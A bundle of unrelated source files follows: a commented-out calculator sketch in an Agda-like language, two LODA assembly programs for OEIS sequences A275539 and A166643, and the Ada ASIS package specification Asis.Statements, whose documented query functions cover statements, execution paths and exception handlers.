Evaluates several expressions. E.g. (2 + 3) * 5 -- data Expression : Set where -- num : Nat -> Expression -- add : Expression -> Expression -> Expression -- sub : Expression -> Expression -> Expression ----- VIEW? ----- -- main : Program -- main _ = do -- -- print "-- Calculator --" -- -- Receives a number, an operation symbol and a execution command -- -- let result = exe-operation 2 3 add -- print (show result) -- let result2 = (primNatToChar (exe-operation 2 3 add)) -- print (primShowChar result2) -- for i from 0 to 10 do: -- print ("i: " ++ show i) -- -- if (2 == 2) -- (then: print "foo") -- (else: print "bar") -- -- let num = -- init 0.0 -- for i from 0 to 1000000 do: -- λ result → result f+ 1.0 -- print (primShowFloat num)
oeis/275/A275539.asm
neoneye/loda-programs
11
101282
; A275539: a(n) = n! + n*(n-1)!!. ; Submitted by <NAME> ; 1,2,4,12,36,160,810,5376,41160,366336,3638250,39959040,479126340,6227619840,87180183090,1307684044800,20922822320400,355687603568640,6402374325997650,121645103938928640,2432902021271221500,51090942249743155200,1124000728080092512650,25852016740765217587200,620448401740829058797400,15511210043380035747840000,403291461126811187777096250,10888869450419729478136627200,304888344611719837326810952500,8841761993739743376088183603200,265252859812191244344809088881250,8222838654177924146071647289344000 mov $1,1 mov $2,$0 lpb $2 mul $1,$2 sub $2,1 mul $0,$2 mul $1,$2 sub $2,1 lpe add $0,$1
oeis/166/A166643.asm
neoneye/loda-programs
11
179629
<gh_stars>10-100 ; A166643: Totally multiplicative sequence with a(p) = 3*(p+1) for prime p. ; Submitted by <NAME>(s4) ; 1,9,12,81,18,108,24,729,144,162,36,972,42,216,216,6561,54,1296,60,1458,288,324,72,8748,324,378,1728,1944,90,1944,96,59049,432,486,432,11664,114,540,504,13122,126,2592,132,2916,2592,648,144,78732,576,2916,648,3402,162,15552,648,17496,720,810,180,17496,186,864,3456,531441,756,3888,204,4374,864,3888,216,104976,222,1026,3888,4860,864,4536,240,118098,20736,1134,252,23328,972,1188,1080,26244,270,23328,1008,5832,1152,1296,1080,708588,294,5184,5184,26244 add $0,1 mov $1,1 mov $2,2 mov $4,1 lpb $0 mul $1,$4 mov $3,$0 lpb $3 mov $4,$0 mod $4,$2 add $2,1 cmp $4,0 cmp $4,0 sub $3,$4 lpe div $0,$2 mov $4,$2 mov $5,$2 lpb $5 add $4,2 sub $5,1 lpe add $4,3 lpe mov $0,$1
source/asis/asis-statements.ads
faelys/gela-asis
4
5143
<reponame>faelys/gela-asis<filename>source/asis/asis-statements.ads ------------------------------------------------------------------------------- ------------------------------------------------------------------------------- -- 18 package Asis.Statements ------------------------------------------------------------------------------- ------------------------------------------------------------------------------- package Asis.Statements is pragma Preelaborate; ------------------------------------------------------------------------------- ------------------------------------------------------------------------------- -- Asis.Statements encapsulates a set of queries that operate on A_Statement, -- A_Path, and An_Exception_Handler elements. ------------------------------------------------------------------------------- ------------------------------------------------------------------------------- -- 18.1 function Label_Names ------------------------------------------------------------------------------- function Label_Names (Statement : in Asis.Statement) return Asis.Defining_Name_List; ------------------------------------------------------------------------------- -- Statement - Specifies the statement to query -- -- Returns label_statement_identifier elements (A_Defining_Name elements) -- that define the labels attached to the statement, in their order of -- appearance. -- -- Returns a Nil_Element_List if there are no labels attached to the -- statement. -- -- The Enclosing_Element of the A_Defining_Name elements is the statement. -- -- Appropriate Element_Kinds: -- A_Statement -- -- Returns Defining_Name_Kinds: -- A_Defining_Identifier -- ------------------------------------------------------------------------------- -- 18.2 function Assignment_Variable_Name ------------------------------------------------------------------------------- function Assignment_Variable_Name (Statement : in Asis.Statement) return Asis.Expression; ------------------------------------------------------------------------------- -- Statement - Specifies the assignment statement to query -- -- Returns the expression that names the left hand side of the assignment. -- -- Appropriate Element_Kinds: -- A_Statement -- -- Appropriate Statement_Kinds: -- An_Assignment_Statement -- -- Returns Element_Kinds: -- An_Expression -- ------------------------------------------------------------------------------- -- 18.3 function Assignment_Expression ------------------------------------------------------------------------------- function Assignment_Expression (Statement : in Asis.Statement) return Asis.Expression; ------------------------------------------------------------------------------- -- Statement - Specifies the assignment statement to query -- -- Returns the expression from the right hand side of the assignment. -- -- Appropriate Element_Kinds: -- A_Statement -- -- Appropriate Statement_Kinds: -- An_Assignment_Statement -- -- Returns Element_Kinds: -- An_Expression ------------------------------------------------------------------------------- -- 18.4 function Statement_Paths ------------------------------------------------------------------------------- function Statement_Paths (Statement : in Asis.Statement; Include_Pragmas : in Boolean := False) return Asis.Path_List; ------------------------------------------------------------------------------- -- Statement - Specifies the statement to query -- Include_Pragmas - Specifies whether pragmas are to be returned -- -- Returns a list of the execution paths of the statement, in -- their order of appearance. -- -- The only pragmas returned are those preceding the first alternative in -- a case statement. -- -- Appropriate Statement_Kinds: -- An_If_Statement -- A_Case_Statement -- A_Selective_Accept_Statement -- A_Timed_Entry_Call_Statement -- A_Conditional_Entry_Call_Statement -- An_Asynchronous_Select_Statement -- -- Returns Element_Kinds: -- A_Path -- A_Pragma -- ------------------------------------------------------------------------------- -- 18.5 function Condition_Expression ------------------------------------------------------------------------------- function Condition_Expression (Path : in Asis.Path) return Asis.Expression; ------------------------------------------------------------------------------- -- Path - Specifies the execution path to query -- -- Returns the condition expression for an IF path or an ELSIF path. -- -- Appropriate Path_Kinds: -- An_If_Path -- An_Elsif_Path -- -- Returns Element_Kinds: -- An_Expression -- ------------------------------------------------------------------------------- -- 18.6 function Sequence_Of_Statements ------------------------------------------------------------------------------- function Sequence_Of_Statements (Path : in Asis.Path; Include_Pragmas : in Boolean := False) return Asis.Statement_List; ------------------------------------------------------------------------------- -- Path - Specifies the execution path to query -- Include_Pragmas - Specifies whether pragmas are to be returned -- -- Returns a list of the statements and pragmas from an execution path, -- in their order of appearance. -- -- Appropriate Element_Kinds: -- A_Path -- -- Returns Element_Kinds: -- A_Statement -- A_Pragma -- ------------------------------------------------------------------------------- -- 18.7 function Case_Expression ------------------------------------------------------------------------------- function Case_Expression (Statement : in Asis.Statement) return Asis.Expression; ------------------------------------------------------------------------------- -- Statement - Specifies the case statement to query -- -- Returns the expression of the case statement that determines which -- execution path is taken. -- -- Appropriate Element_Kinds: -- A_Statement -- -- Appropriate Statement_Kinds: -- A_Case_Statement -- -- Returns Element_Kinds: -- An_Expression -- ------------------------------------------------------------------------------- -- 18.8 function Case_Statement_Alternative_Choices ------------------------------------------------------------------------------- function Case_Statement_Alternative_Choices (Path : in Asis.Path) return Asis.Element_List; ------------------------------------------------------------------------------- -- Path - Specifies the case_statement_alternative execution path to query -- -- Returns a list of the 'when <choice> | <choice>' elements, in their -- order of appearance. -- -- Appropriate Path_Kinds: -- A_Case_Path -- -- Returns Element_Kinds: -- An_Expression -- A_Definition -- -- Returns Definition_Kinds: -- A_Discrete_Range -- An_Others_Choice -- ------------------------------------------------------------------------------- -- 18.9 function Statement_Identifier ------------------------------------------------------------------------------- function Statement_Identifier (Statement : in Asis.Statement) return Asis.Defining_Name; ------------------------------------------------------------------------------- -- Statement - Specifies the statement to query -- -- Returns the identifier for the loop_statement or block_statement. -- -- Returns a Nil_Element if the loop has no identifier. -- -- The Enclosing_Element of the name is the statement. -- -- Appropriate Statement_Kinds: -- A_Loop_Statement -- A_While_Loop_Statement -- A_For_Loop_Statement -- A_Block_Statement -- -- Returns Defining_Name_Kinds: -- Not_A_Defining_Name -- A_Defining_Identifier -- ------------------------------------------------------------------------------- -- 18.10 function Is_Name_Repeated ------------------------------------------------------------------------------- function Is_Name_Repeated (Statement : in Asis.Statement) return Boolean; ------------------------------------------------------------------------------- -- Statement - Specifies the statement to query -- -- Returns True if the name of the accept, loop, or block is repeated after -- the end of the statement. Always returns True for loop or block -- statements since the name is required. -- -- Returns False for any unexpected Element. -- -- Expected Statement_Kinds: -- A_Block_Statement -- A_Loop_Statement -- An_Accept_Statement -- ------------------------------------------------------------------------------- -- 18.11 function While_Condition ------------------------------------------------------------------------------- function While_Condition (Statement : in Asis.Statement) return Asis.Expression; ------------------------------------------------------------------------------- -- Statement - Specifies the loop statement to query -- -- Returns the condition expression associated with the while loop. -- -- Appropriate Element_Kinds: -- A_Statement -- -- Appropriate Statement_Kinds: -- A_While_Loop_Statement -- -- Returns Element_Kinds: -- An_Expression -- ------------------------------------------------------------------------------- -- 18.12 function For_Loop_Parameter_Specification ------------------------------------------------------------------------------- function For_Loop_Parameter_Specification (Statement : in Asis.Statement) return Asis.Declaration; ------------------------------------------------------------------------------- -- Statement - Specifies the loop statement to query -- -- Returns the declaration of the A_Loop_Parameter_Specification. -- -- Appropriate Statement_Kinds: -- A_For_Loop_Statement -- -- Returns Declaration_Kinds: -- A_Loop_Parameter_Specification -- ------------------------------------------------------------------------------- -- 18.13 function Loop_Statements ------------------------------------------------------------------------------- function Loop_Statements (Statement : in Asis.Statement; Include_Pragmas : in Boolean := False) return Asis.Statement_List; ------------------------------------------------------------------------------- -- Statement - Specifies the loop statement to query -- Include_Pragmas - Specifies whether pragmas are to be returned -- -- Returns the sequence_of_statements and any pragmas from the loop_statement, -- in their order of appearance. -- -- Appropriate Statement_Kinds: -- A_Loop_Statement -- A_While_Loop_Statement -- A_For_Loop_Statement -- -- Returns Element_Kinds: -- A_Pragma -- A_Statement -- ------------------------------------------------------------------------------- -- 18.14 function Is_Declare_Block ------------------------------------------------------------------------------- function Is_Declare_Block (Statement : in Asis.Statement) return Boolean; ------------------------------------------------------------------------------- -- Statement - Specifies the statement to query -- -- Returns True if the statement is a block_statement and it was created with -- the use of the "declare" reserved word. The presence or absence of any -- declarative_item elements is not relevant. -- -- Returns False if the "declare" reserved word does not appear in the -- block_statement, or for any unexpected Element. -- -- Expected Statement_Kinds:: -- A_Block_Statement -- ------------------------------------------------------------------------------- -- 18.15 function Block_Declarative_Items ------------------------------------------------------------------------------- function Block_Declarative_Items (Statement : in Asis.Statement; Include_Pragmas : in Boolean := False) return Asis.Declarative_Item_List; ------------------------------------------------------------------------------- -- Statement - Specifies the block statement to query -- Include_Pragmas - Specifies whether pragmas are to be returned -- -- Returns a list of the declarations, representation_clause elements, -- pragmas, and use_clause elements in the declarative_part of the -- block_statement, in their order of appearance. -- -- Returns a Nil_Element_List if there are no declarative items. -- -- Appropriate Statement_Kinds: -- A_Block_Statement -- -- Returns Element_Kinds: -- A_Declaration -- A_Pragma -- A_Clause -- ------------------------------------------------------------------------------- -- 18.16 function Block_Statements ------------------------------------------------------------------------------- function Block_Statements (Statement : in Asis.Statement; Include_Pragmas : in Boolean := False) return Asis.Statement_List; ------------------------------------------------------------------------------- -- Statement - Specifies the block statement to query -- Include_Pragmas - Specifies whether pragmas are to be returned -- -- Returns a list of the statements and pragmas for the block_statement, in -- their order of appearance. -- -- Returns a Nil_Element_List if there are no statements or pragmas. This -- can only occur for a block_statement obtained from the obsolescent query -- Body_Block_Statement when its argument is a package_body -- that has no sequence_of_statements. -- -- Appropriate Statement_Kinds: -- A_Block_Statement -- -- Returns Element_Kinds: -- A_Pragma -- A_Statement -- ------------------------------------------------------------------------------- -- 18.17 function Block_Exception_Handlers ------------------------------------------------------------------------------- function Block_Exception_Handlers (Statement : in Asis.Statement; Include_Pragmas : in Boolean := False) return Asis.Exception_Handler_List; ------------------------------------------------------------------------------- -- Statement - Specifies the block statement to query -- Include_Pragmas - Specifies whether pragmas are to be returned -- -- Returns a list of the exception_handler elements of the block_statement, -- in their order of appearance. -- -- The only pragmas returned are those following the reserved word "exception" -- and preceding the reserved word "when" of first exception handler. -- -- Returns a Nil_Element_List if there are no exception_handler elements. -- -- Appropriate Statement_Kinds: -- A_Block_Statement -- -- Returns Element_Kinds: -- An_Exception_Handler -- A_Pragma -- ------------------------------------------------------------------------------- -- 18.18 function Exit_Loop_Name ------------------------------------------------------------------------------- function Exit_Loop_Name (Statement : in Asis.Statement) return Asis.Expression; ------------------------------------------------------------------------------- -- Statement - Specifies the exit statement to query -- -- Returns the name of the exited loop. -- -- Returns a Nil_Element if no loop name is present. -- -- Appropriate Statement_Kinds: -- An_Exit_Statement -- -- Returns Expression_Kinds: -- Not_An_Expression -- An_Identifier -- A_Selected_Component -- ------------------------------------------------------------------------------- -- 18.19 function Exit_Condition ------------------------------------------------------------------------------- function Exit_Condition (Statement : in Asis.Statement) return Asis.Expression; ------------------------------------------------------------------------------- -- Statement - Specifies the exit statement to query -- -- Returns the "when" condition of the exit statement. -- -- Returns a Nil_Element if no condition is present. -- -- Appropriate Statement_Kinds: -- An_Exit_Statement -- -- Returns Element_Kinds: -- Not_An_Element -- An_Expression -- ------------------------------------------------------------------------------- -- 18.20 function Corresponding_Loop_Exited ------------------------------------------------------------------------------- function Corresponding_Loop_Exited (Statement : in Asis.Statement) return Asis.Statement; ------------------------------------------------------------------------------- -- Statement - Specifies the exit statement to query -- -- Returns the loop statement exited by the exit statement. -- -- Appropriate Statement_Kinds: -- An_Exit_Statement -- -- Returns Element_Kinds: -- A_Loop_Statement -- A_While_Loop_Statement -- A_For_Loop_Statement -- ------------------------------------------------------------------------------- -- 18.21 function Return_Expression ------------------------------------------------------------------------------- function Return_Expression (Statement : in Asis.Statement) return Asis.Expression; ------------------------------------------------------------------------------- -- Statement - Specifies the return statement to query -- -- Returns the expression in the return statement. -- -- Returns a Nil_Element if no expression is present. -- -- Appropriate Statement_Kinds: -- A_Return_Statement -- -- Returns Element_Kinds: -- Not_An_Element -- An_Expression -- ------------------------------------------------------------------------------- -- 18.xx function Return_Object_Specification ------------------------------------------------------------------------------- function Return_Object_Specification (Statement : Asis.Statement) return Asis.Declaration; ------------------------------------------------------------------------------- -- Statement specifies the extended return statement to query. -- -- Returns the specification of the return object. -- -- Appropriate Statement_Kinds: -- An_Extended_Return_Statement -- -- Returns Declaration_Kinds: -- A_Return_Object_Specification -- ------------------------------------------------------------------------------- -- 18.xx function Extended_Return_Statements ------------------------------------------------------------------------------- function Extended_Return_Statements (Statement : Asis.Statement; Include_Pragmas : Boolean := False) return Asis.Statement_List; ------------------------------------------------------------------------------- -- Statement specifies the extended return statement to query. -- Include_Pragmas specifies whether pragmas are to be returned. -- -- Returns a list of the statements and pragmas from the extended return -- statement, in their order of appearance. -- -- Returns a Nil_Element_List if the argument extended return statement does -- not include handled_sequence_of_statements. -- -- Appropriate Statement_Kinds: -- An_Extended_Return_Statement -- -- Returns Element_Kinds: -- A_Statement -- A_Pragma -- ------------------------------------------------------------------------------- -- 18.xx function Extended_Return_Exception_Handlers ------------------------------------------------------------------------------- function Extended_Return_Exception_Handlers (Statement : Asis.Statement; Include_Pragmas : Boolean := False) return Asis.Exception_Handler_List; ------------------------------------------------------------------------------- -- Statement specifies the extended return statement to query. -- Include_Pragmas specifies whether pragmas are to be returned. -- -- Returns a list of the exception_handler elements of the extended return -- statement, in their order of appearance. -- -- The only pragmas returned are those following the reserved word "exception" -- and preceding the reserved word "when" of first exception handler. -- -- Returns a Nil_Element_List if there are no exception_handler elements. -- -- Appropriate Statement_Kinds: -- An_Extended_Return_Statement -- -- Returns Element_Kinds: -- An_Exception_Handler -- A_Pragma -- ------------------------------------------------------------------------------- -- 18.22 function Goto_Label ------------------------------------------------------------------------------- function Goto_Label (Statement : in Asis.Statement) return Asis.Expression; ------------------------------------------------------------------------------- -- Statement - Specifies the goto statement to query -- -- Returns the expression reference for the label, as specified by the goto -- statement. -- -- Appropriate Statement_Kinds: -- A_Goto_Statement -- -- Returns Expression_Kinds: -- An_Identifier -- ------------------------------------------------------------------------------- -- 18.23 function Corresponding_Destination_Statement ------------------------------------------------------------------------------- function Corresponding_Destination_Statement (Statement : in Asis.Statement) return Asis.Statement; ------------------------------------------------------------------------------- -- Statement - Specifies the goto statement to query -- -- Returns the target statement specified by the goto statement. -- -- Appropriate Statement_Kinds: -- A_Goto_Statement -- -- Returns Element_Kinds: -- A_Statement -- -- |AN Application Note: -- |AN -- |AN The Reference Manual allows a pragma between a statement and a label -- |AN attached to it. If so, when the label is passed as an actual parameter -- |AN to this query, the query returns the statement, but not the label. The -- |AN only way for an application to know that there are any pragmas between -- |AN a statement and its label is to get the spans of these program -- |AN elements and analyze the corresponding positions in the source text. -- ------------------------------------------------------------------------------- -- 18.24 function Called_Name ------------------------------------------------------------------------------- function Called_Name (Statement : in Asis.Statement) return Asis.Expression; ------------------------------------------------------------------------------- -- Statement - Specifies the procedure call or entry call statement to query -- -- Returns the name of the called procedure or entry. The name of an entry -- family takes the form of An_Indexed_Component. -- -- Appropriate Statement_Kinds: -- An_Entry_Call_Statement -- A_Procedure_Call_Statement -- -- Returns Element_Kinds: -- An_Expression -- ------------------------------------------------------------------------------- -- 18.25 function Corresponding_Called_Entity ------------------------------------------------------------------------------- function Corresponding_Called_Entity (Statement : in Asis.Statement) return Asis.Declaration; ------------------------------------------------------------------------------- -- Statement - Specifies the procedure_call_statement or -- entry_call_statement to query -- -- Returns the declaration of the procedure or entry denoted by the call. -- -- Returns a Nil_Element if the: -- -- - prefix of the call denotes an access to a procedure implicit -- or explicit dereference, -- -- - argument is a dispatching call, -- -- - argument is a call to a dispatching operation of a tagged type which -- is not statically determined. -- -- If procedure_prefix denotes an attribute_reference, and if the -- corresponding attribute is (re)defined by an attribute definition clause, -- an implementation is encouraged, but not required, to return the -- definition of the corresponding subprogram whose name is used after "use" -- in this attribute definition clause. If an implementation cannot return -- such a subprogram definition, a Nil_Element should be returned. For an -- attribute reference which is not (re)defined by an attribute definition -- clause, a Nil_Element should be returned. -- -- Appropriate Statement_Kinds: -- An_Entry_Call_Statement -- A_Procedure_Call_Statement -- -- Returns Declaration_Kinds: -- Not_A_Declaration -- A_Procedure_Declaration -- A_Procedure_Body_Declaration -- A_Procedure_Body_Stub -- A_Procedure_Renaming_Declaration -- A_Procedure_Instantiation -- A_Formal_Procedure_Declaration -- An_Entry_Declaration -- A_Generic_Procedure_Declaration -- -- |IP Implementation Permissions -- |IP -- |IP An implementation may choose to return any part of multi-part -- |IP declarations and definitions. Multi-part declaration/definitions -- |IP can occur for: -- |IP -- |IP - Subprogram specification in package specification, package body, -- |IP and subunits (is separate); -- |IP - Entries in package specification, package body, and subunits -- |IP (is separate); -- |IP - Private type and full type declarations; -- |IP - Incomplete type and full type declarations; and -- |IP - Deferred constant and full constant declarations. -- |IP -- |IP No guarantee is made that the element will be the first part or -- |IP that the determination will be made due to any visibility rules. -- |IP An application should make its own analysis for each case based -- |IP on which part is returned. -- ------------------------------------------------------------------------------- -- 18.26 function Call_Statement_Parameters ------------------------------------------------------------------------------- function Call_Statement_Parameters (Statement : in Asis.Statement; Normalized : in Boolean := False) return Asis.Association_List; ------------------------------------------------------------------------------- -- Statement - Specifies the procedure_call_statement or -- entry_call_statement to query -- Normalized - Specifies whether the normalized form is desired -- -- Returns a list of parameter_association elements of the call. -- -- Returns a Nil_Element_List if there are no parameter_association elements. -- -- An unnormalized list contains only explicit associations ordered as they -- appear in the program text. Each unnormalized association has an optional -- formal_parameter_selector_name and an explicit_actual_parameter component. -- -- A normalized list contains artificial associations representing all -- explicit and default associations. It has a length equal to the number of -- parameter_specification elements of the formal_part of the -- parameter_and_result_profile. The order of normalized associations matches -- the order of parameter_specification elements. -- -- Each normalized association represents a one on one mapping of a -- parameter_specification elements to the explicit or default expression. -- A normalized association has one A_Defining_Name component that denotes the -- parameter_specification, and one An_Expression component that is either the -- explicit_actual_parameter or a default_expression. -- -- If the prefix of the call denotes an access to a procedure implicit or -- explicit deference, normalized associations are constructed on the basis -- of the formal_part of the parameter_profile from the corresponding -- access_to_subprogram definition. -- -- Returns Nil_Element for normalized associations in the case where -- the called procedure can be determined only dynamically (dispatching -- calls). ASIS cannot produce any meaningful result in this case. -- -- The exception ASIS_Inappropriate_Element is raised when the procedure -- call is an attribute reference and Is_Normalized is True. -- -- Appropriate Statement_Kinds: -- An_Entry_Call_Statement -- A_Procedure_Call_Statement -- -- Returns Element_Kinds: -- A_Parameter_Association -- -- |IR Implementation Requirements: -- |IR -- |IR Normalized associations are Is_Normalized and Is_Part_Of_Implicit. -- |IR Normalized associations provided by default are -- |IR Is_Defaulted_Association. -- |IR Normalized associations are never Is_Equal to unnormalized -- |IR associations. -- -- |IP Implementation Permissions: -- |IP -- |IP An implementation may choose to always include default parameters in -- |IP its internal representation. -- |IP -- |IP An implementation may also choose to normalize its representation -- |IP to use defining_identifier elements rather than -- |IP formal_parameter_selector_name elements. -- |IP -- |IP In either case, this query will return Is_Normalized associations even -- |IP if Normalized is False, and the query -- |IP Call_Statement_Parameters_Normalized will return True. -- ------------------------------------------------------------------------------- -- 18.27 function Accept_Entry_Index ------------------------------------------------------------------------------- function Accept_Entry_Index (Statement : in Asis.Statement) return Asis.Expression; ------------------------------------------------------------------------------- -- Statement - Specifies the accept statement to query -- -- Returns the entry index expression in the accept statement. -- -- Returns a Nil_Element if the statement has no explicit entry index, -- -- Appropriate Statement_Kinds: -- An_Accept_Statement -- -- Returns Element_Kinds: -- Not_An_Element -- An_Expression -- ------------------------------------------------------------------------------- -- 18.28 function Accept_Entry_Direct_Name ------------------------------------------------------------------------------- function Accept_Entry_Direct_Name (Statement : in Asis.Statement) return Asis.Name; ------------------------------------------------------------------------------- -- Statement - Specifies the accept statement to query -- -- Returns the direct name of the entry. The name follows the reserved word -- "accept". -- -- Appropriate Statement_Kinds: -- An_Accept_Statement -- -- Returns Expression_Kinds: -- An_Identifier -- ------------------------------------------------------------------------------- -- 18.29 function Accept_Parameters ------------------------------------------------------------------------------- function Accept_Parameters (Statement : in Asis.Statement) return Asis.Parameter_Specification_List; ------------------------------------------------------------------------------- -- Statement - Specifies the accept statement to query -- -- Returns a list of parameter specifications in the formal part of the -- accept statement, in their order of appearance. -- -- Returns a Nil_Element_List if the accept_statement has no parameters. -- -- Results of this query may vary across ASIS implementations. Some -- implementations normalize all multiple name parameter specifications into -- an equivalent sequence of corresponding single name parameter -- specifications. See Reference Manual 3.3.1(7). -- -- Appropriate Statement_Kinds: -- An_Accept_Statement -- -- Returns Declaration_Kinds: -- A_Parameter_Specification -- ------------------------------------------------------------------------------- -- 18.30 function Accept_Body_Statements ------------------------------------------------------------------------------- function Accept_Body_Statements (Statement : in Asis.Statement; Include_Pragmas : in Boolean := False) return Asis.Statement_List; ------------------------------------------------------------------------------- -- Statement - Specifies the accept statement to query -- Include_Pragmas - Specifies whether pragmas are to be returned -- -- Returns the list of statements and pragmas from the body of the accept -- statement, in their order of appearance. -- -- Appropriate Statement_Kinds: -- An_Accept_Statement -- -- Returns Element_Kinds: -- A_Pragma -- A_Statement -- ------------------------------------------------------------------------------- -- 18.31 function Accept_Body_Exception_Handlers ------------------------------------------------------------------------------- function Accept_Body_Exception_Handlers (Statement : in Asis.Statement; Include_Pragmas : in Boolean := False) return Asis.Statement_List; ------------------------------------------------------------------------------- -- Statement - Specifies the accept statement to query -- Include_Pragmas - Specifies whether pragmas are to be returned -- -- Returns the list of exception handlers and pragmas from the body of the -- accept statement, in their order of appearance. -- -- Appropriate Statement_Kinds: -- An_Accept_Statement -- -- Returns Element_Kinds: -- A_Pragma -- An_Exception_Handler -- ------------------------------------------------------------------------------- -- 18.32 function Corresponding_Entry ------------------------------------------------------------------------------- function Corresponding_Entry (Statement : in Asis.Statement) return Asis.Declaration; ------------------------------------------------------------------------------- -- Statement - Specifies the accept statement to query -- -- Returns the declaration of the entry accepted in this statement. -- -- Appropriate Statement_Kinds: -- An_Accept_Statement -- -- Returns Declaration_Kinds: -- An_Entry_Declaration -- ------------------------------------------------------------------------------- -- 18.33 function Requeue_Entry_Name ------------------------------------------------------------------------------- function Requeue_Entry_Name (Statement : in Asis.Statement) return Asis.Name; ------------------------------------------------------------------------------- -- Statement - Specifies the requeue statement to query -- -- Returns the name of the entry requeued by the statement. -- The name follows the reserved word "requeue". -- -- Appropriate Statement_Kinds: -- A_Requeue_Statement -- A_Requeue_Statement_With_Abort -- -- Returns Element_Kinds: -- An_Expression -- ------------------------------------------------------------------------------- -- 18.34 function Delay_Expression ------------------------------------------------------------------------------- function Delay_Expression (Statement : in Asis.Statement) return Asis.Expression; ------------------------------------------------------------------------------- -- Statement - Specifies the delay statement to query -- -- Returns the expression for the duration of the delay. -- -- Appropriate Statement_Kinds: -- A_Delay_Until_Statement -- A_Delay_Relative_Statement -- -- Returns Element_Kinds: -- An_Expression -- ------------------------------------------------------------------------------- -- 18.35 function Guard ------------------------------------------------------------------------------- function Guard (Path : in Asis.Path) return Asis.Expression; ------------------------------------------------------------------------------- -- Path - Specifies the select statement execution path to query -- -- Returns the conditional expression guard for the path. -- -- Returns a Nil_Element if there is no guard, or if the path is from a -- timed_entry_call, a conditional_entry_call, or an asynchronous_select -- statement where a guard is not legal. -- -- Appropriate Path_Kinds: -- A_Select_Path -- An_Or_Path -- -- Returns Element_Kinds: -- Not_An_Element -- An_Expression -- ------------------------------------------------------------------------------- -- 18.36 function Aborted_Tasks ------------------------------------------------------------------------------- function Aborted_Tasks (Statement : in Asis.Statement) return Asis.Expression_List; ------------------------------------------------------------------------------- -- Statement - Specifies the abort statement to query -- -- Returns a list of the task names from the ABORT statement, in their order -- of appearance. -- -- Appropriate Statement_Kinds: -- An_Abort_Statement -- -- Returns Element_Kinds: -- An_Expression -- ------------------------------------------------------------------------------- -- 18.37 function Choice_Parameter_Specification ------------------------------------------------------------------------------- function Choice_Parameter_Specification (Handler : in Asis.Exception_Handler) return Asis.Declaration; ------------------------------------------------------------------------------- -- Handler - Specifies the exception handler to query -- -- Returns the choice parameter specification following the reserved word -- "when" in the exception handler. -- -- Returns a Nil_Element if there is no explicit choice parameter. -- -- Appropriate Element_Kinds: -- An_Exception_Handler -- -- Returns Declaration_Kinds: -- Not_A_Declaration -- A_Choice_Parameter_Specification -- ------------------------------------------------------------------------------- -- 18.38 function Exception_Choices ------------------------------------------------------------------------------- function Exception_Choices (Handler : in Asis.Exception_Handler) return Asis.Element_List; ------------------------------------------------------------------------------- -- Handler - Specifies the exception handler to query -- -- Returns a list of the 'when <choice> | <choice>' elements, in their -- order of appearance. Choices are either the exception name expression or -- an others choice. -- -- Appropriate Element_Kinds: -- An_Exception_Handler -- -- Returns Expression_Kinds: -- An_Identifier -- A_Selected_Component -- -- Returns Definition_Kinds: -- An_Others_Choice -- ------------------------------------------------------------------------------- -- 18.39 function Handler_Statements ------------------------------------------------------------------------------- function Handler_Statements (Handler : in Asis.Exception_Handler; Include_Pragmas : in Boolean := False) return Asis.Statement_List; ------------------------------------------------------------------------------- -- Handler - Specifies the exception handler to query -- Include_Pragmas - Specifies whether pragmas are to be returned -- -- Returns the list of statements and pragmas from the body of the -- exception handler, in their order of appearance. -- -- Appropriate Element_Kinds: -- An_Exception_Handler -- -- Returns Element_Kinds: -- A_Pragma -- A_Statement -- ------------------------------------------------------------------------------- -- 18.40 function Raised_Exception ------------------------------------------------------------------------------- function Raised_Exception (Statement : in Asis.Statement) return Asis.Expression; ------------------------------------------------------------------------------- -- Statement - Specifies the raise statement to query -- -- Returns the expression that names the raised exception. -- -- Returns a Nil_Element if there is no explicitly named exception. -- -- Appropriate Statement_Kinds: -- A_Raise_Statement -- -- Returns Expression_Kinds: -- Not_An_Expression -- An_Identifier -- A_Selected_Component -- ------------------------------------------------------------------------------- -- 18.xx function Raise_Statement_Message ------------------------------------------------------------------------------- function Raise_Statement_Message -- 13.3(2) (Statement : Asis.Statement) return Asis.Expression; ------------------------------------------------------------------------------- -- Statement specifies the raise statement to query. -- -- Returns the string expression that is associated with the raised -- exception and follows the WITH keyword in the raise statement. -- -- Returns a Nil_Element if there is no string expression. -- -- Appropriate Statement_Kinds: -- A_Raise_Statement -- -- Returns Element_Kinds: -- Not_An_Element -- An_Expression -- ------------------------------------------------------------------------------- -- 18.41 function Qualified_Expression ------------------------------------------------------------------------------- function Qualified_Expression (Statement : in Asis.Statement) return Asis.Expression; ------------------------------------------------------------------------------- -- Statement - Specifies the code statement to query -- -- Returns the qualified aggregate expression representing the code statement. -- -- Appropriate Statement_Kinds: -- A_Code_Statement -- -- Returns Expression_Kinds: -- A_Qualified_Expression -- ------------------------------------------------------------------------------- -- 18.42 function Is_Dispatching_Call ------------------------------------------------------------------------------- function Is_Dispatching_Call (Call : in Asis.Element) return Boolean; ------------------------------------------------------------------------------- -- Call - Specifies the element to query. -- -- Returns True if the controlling tag of Call is dynamically determined. -- -- This function shall always return False when -- pragma Restrictions(No_Dispatch) applies. -- -- Returns False for any unexpected Element. -- -- Expected Expression_Kinds: -- A_Function_Call -- -- Expected Statement_Kinds: -- A_Procedure_Call_Statement -- ------------------------------------------------------------------------------- -- 18.43 function Is_Call_On_Dispatching_Operation ------------------------------------------------------------------------------- function Is_Call_On_Dispatching_Operation (Call : in Asis.Element) return Boolean; ------------------------------------------------------------------------------- -- Call - Specifies the element to query. -- -- Returns True if the name or prefix of Call denotes the declaration of a -- primitive operation of a tagged type. -- -- Returns False for any unexpected Element. -- -- Expected Element_Kinds: -- A_Function_Call -- A_Procedure_Call_Statement -- ------------------------------------------------------------------------------- end Asis.Statements; ------------------------------------------------------------------------------ -- Copyright (c) 2006-2013, <NAME> -- All rights reserved. -- -- Redistribution and use in source and binary forms, with or without -- modification, are permitted provided that the following conditions are met: -- -- * Redistributions of source code must retain the above copyright notice, -- this list of conditions and the following disclaimer. -- * Redistributions in binary form must reproduce the above copyright -- notice, this list of conditions and the following disclaimer in the -- documentation and/or other materials provided with the distribution. -- * Neither the name of the <NAME>, IE nor the names of its -- contributors may be used to endorse or promote products derived from -- this software without specific prior written permission. -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -- AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -- IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE -- ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 